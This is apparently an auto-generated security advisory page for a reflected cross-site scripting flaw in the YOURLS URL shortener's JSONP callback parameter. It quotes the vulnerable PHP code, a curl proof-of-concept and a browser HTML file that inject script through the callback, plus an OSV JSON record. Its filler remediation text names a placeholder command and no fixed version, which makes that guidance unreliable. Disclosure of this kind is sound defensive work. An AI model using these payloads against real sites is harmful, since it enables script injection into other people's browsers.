GHSA-6mp4-q625-mxjp: Yourls/yourls Cross-Site Scripting Vulnerability

HIGH
CVSS 7.1
CWE-79
Published
Advisory Summary

GHSA-6mp4-q625-mxjp is a HIGH (CVSS 7.1) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Yourls/yourls libraries in the Packagist ecosystem. The issue involves yourls is vulnerable to xss through jsonp and callback request parameters. Remediation is available in the latest vendor maintenance releases.

GHSA-6mp4-q625-mxjp at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-6mp4-q625-mxjp
Severity HIGH
CVSS v3.1 Base Score 7.1
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Yourls/yourls
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 7.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability Low (A:L)

How to Fix GHSA-6mp4-q625-mxjp

To remediate this vulnerability, upgrade all affected Yourls/yourls dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

yourls/yourls fixed: Latest secure release
Upgrade yourls/yourls to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for yourls/yourls

How to Check if You Are Affected

To determine whether your application is affected by GHSA-6mp4-q625-mxjp, inspect your project dependencies for Yourls/yourls:

inspect dependencies for yourls/yourls

Analyze the terminal output to locate any version of Yourls/yourls in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Yourls/yourls, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The callback and **jsonp** request parameters are directly concatenated into the response without any sanitization that allowing attackers to inject arbitrary JS code. When **YOURLS_PRIVATE** is set to **false** (public API mode), this vulnerability can be exploited by any unauthenticated attacker. In private mode, the XSS payload is still injected into the 403 response body though browser execution is blocked. ### Details Vulnerability exists in the JSONP callback handling chain: ``` yourls-api.php:127-128 if( isset( $_REQUEST['callback'] ) ) $return['callback'] = $_REQUEST['callback']; elseif ( isset( $_REQUEST['jsonp'] ) ) $return['callback'] = $_REQUEST['jsonp']; ``` --- ``` includes/functions-api.php:127-128 $callback = isset( $output['callback'] ) ? $output['callback'] : ''; $result = $callback . '(' . json_encode( $output ) . ')'; ``` ### PoC I. YOURLS instance with YOURLS_PRIVATE set to false in config.php or user authenticated to a private YOURLS instance. II. `curl "http://localhost:8080/yourls-api.php?action=version&format=jsonp&callback=alert(document.domain)//" ` **Expected response:** `alert(document.domain)//({"version":"1.10.2","callback":"alert(document.domain)\/\/"})` Browser PoC file: ``` <!DOCTYPE html> <html> <head><title>pwn</title></head> <body> <h1>pwn</h1> <script src="http://localhost:8080/yourls-api.php?action=version&format=jsonp&callback=alert('pwn');//"></script> </body> </html> ``` ### Impact Public Mode (YOURLS_PRIVATE=false): Full exploitation, any unauthenticated user can trigger **XSS.** Private Mode (YOURLS_PRIVATE=true): XSS payload is injected into 403 response body but browser blocks script execution. However, authenticated users or admins accessing malicious links are still vulnerable.

GHSA-6mp4-q625-mxjp Affected Yourls/yourls Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
yourls/yourls
Packagist
≤ 1.10.2

References

Frequently Asked Questions

What is GHSA-6mp4-q625-mxjp?
GHSA-6mp4-q625-mxjp is a security vulnerability in Yourls/yourls involving YOURLS is vulnerable to XSS through JSONP and Callback request parameters under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Yourls/yourls versions are affected?
Affected versions include releases prior to current release patches across affected packages: yourls/yourls.
What version fixes GHSA-6mp4-q625-mxjp?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is yourls/yourls affected?
Yes, yourls/yourls is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of GHSA-6mp4-q625-mxjp?
GHSA-6mp4-q625-mxjp has a CVSS v3.1 base score of 7.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L.
What CWE is associated with GHSA-6mp4-q625-mxjp?
GHSA-6mp4-q625-mxjp is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check Packagist dependencies for GHSA-6mp4-q625-mxjp?
Run the dependency tree command: 'inspect dependencies for yourls/yourls'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6mp4-q625-mxjp",
  "modified" : "2025-12-30T19:34:26Z",
  "published" : "2025-12-30T19:34:26Z",
  "aliases" : [ ],
  "summary" : "YOURLS is vulnerable to XSS through JSONP and Callback request parameters",
  "details" : "### Summary\n\nThe callback and **jsonp** request parameters are directly concatenated into the response without any sanitization that allowing attackers to inject arbitrary JS code. When **YOURLS_PRIVATE** is set to **false** (public API mode), this vulnerability can be exploited by any unauthenticated attacker. In private mode, the XSS payload is still injected into the 403 response body though browser execution is blocked.\n\n### Details\n\nVulnerability exists in the JSONP callback handling chain:\n\n```\nyourls-api.php:127-128\n\nif( isset( $_REQUEST['callback'] ) )\n    $return['callback'] = $_REQUEST['callback'];\nelseif ( isset( $_REQUEST['jsonp'] ) )\n    $return['callback'] = $_REQUEST['jsonp']; \n```\n---\n\n```\nincludes/functions-api.php:127-128\n\n$callback = isset( $output['callback'] ) ? $output['callback'] : '';\n$result =  $callback . '(' . json_encode( $output ) . ')';\n```\n\n### PoC\n\nI. YOURLS instance with YOURLS_PRIVATE set to false in config.php or user authenticated to a private YOURLS instance.\n\nII. `curl \"http://localhost:8080/yourls-api.php?action=version&format=jsonp&callback=alert(document.domain)//\"\n`\n**Expected response:** `alert(document.domain)//({\"version\":\"1.10.2\",\"callback\":\"alert(document.domain)\\/\\/\"})`\n\nBrowser PoC file:\n\n```\n<!DOCTYPE html>\n<html>\n<head><title>pwn</title></head>\n<body>\n<h1>pwn</h1>\n<script src=\"http://localhost:8080/yourls-api.php?action=version&format=jsonp&callback=alert('pwn');//\"></script>\n</body>\n</html>\n```\n\n### Impact\n\nPublic Mode (YOURLS_PRIVATE=false): Full exploitation, any unauthenticated user can trigger **XSS.**\nPrivate Mode (YOURLS_PRIVATE=true): XSS payload is injected into 403 response body but browser blocks script execution. However, authenticated users or admins accessing malicious links are still vulnerable.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "yourls/yourls"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "1.10.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/YOURLS/YOURLS/security/advisories/GHSA-6mp4-q625-mxjp"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/YOURLS/YOURLS/commit/b1c6100e0aa6fef58c9c1a394ccc19352c3a480a"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/YOURLS/YOURLS"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-12-30T19:34:26Z",
    "nvd_published_at" : null
  }
}